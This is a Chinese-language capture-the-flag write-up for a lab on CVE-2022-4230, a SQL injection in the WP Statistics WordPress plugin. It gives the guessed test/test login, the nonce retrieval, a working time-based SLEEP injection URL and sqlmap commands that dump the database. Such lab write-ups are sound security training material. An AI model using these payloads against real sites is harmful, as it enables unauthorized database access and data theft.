春秋云镜 CVE-2022-4230

发布于:2024-05-07 ⋅ 阅读:(22) ⋅ 点赞:(0)

靶标介绍:

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

开启靶场:

开始实验:

1、使用后台扫描工具扫描靶场链接

2、打开第一个/readme.html,找到后台登录页面

3、点击login.page,使用admin登录,显示错误,用户名未在本站点注册。最后发现下面有个“返回到test”,应该是有“test”用户名,经过尝试得到用户名和密码都为“test”

4、使用test登录,登录成功。

5、参考wpscan网站的WordPress 插件漏洞验证

https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/

Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

翻译:

以允许查看WP统计信息的用户身份登录,并通过获取随机数https://example.com/wp-admin/admin-ajax.php?action=rest-nonce,并在下面的URL中使用它,该URL将延迟5s:

6、必须先登录后才能获取随机数

http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php?action=rest-nonce

7、使用随机数测试延迟,替换wpnonce=NONCE为上面获取的随机数wpnonce=00bb70a358

http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=00bb70a358&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

发现延迟5秒后显示如下图,存在sql注入。

8、使用Burp抓包,抓包时候要删除掉“%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR
”,只使用下面地址

http://eci-2ze8z8a5rz3fc378zp6e.cloudeci1.ichunqiu.com/wp-json/wp-statistics/v2/metabox?_wpnonce=00bb70a358&name=words&search_engine=aaa

9、把get内容保存为55.txt

10、使用sqlmap注入测试,查找当前数据库。

sqlmap.py -r 55.txt --batch --current-db

11、查找表

sqlmap.py -r 55.txt --batch -D wordpress --tables

12、查找字段

sqlmap.py -r 55.txt --batch -D wordpress -T flag --columns

13、获取字段值,得到flag

sqlmap.py -r 55.txt  -D wordpress -T flag -C flag --dump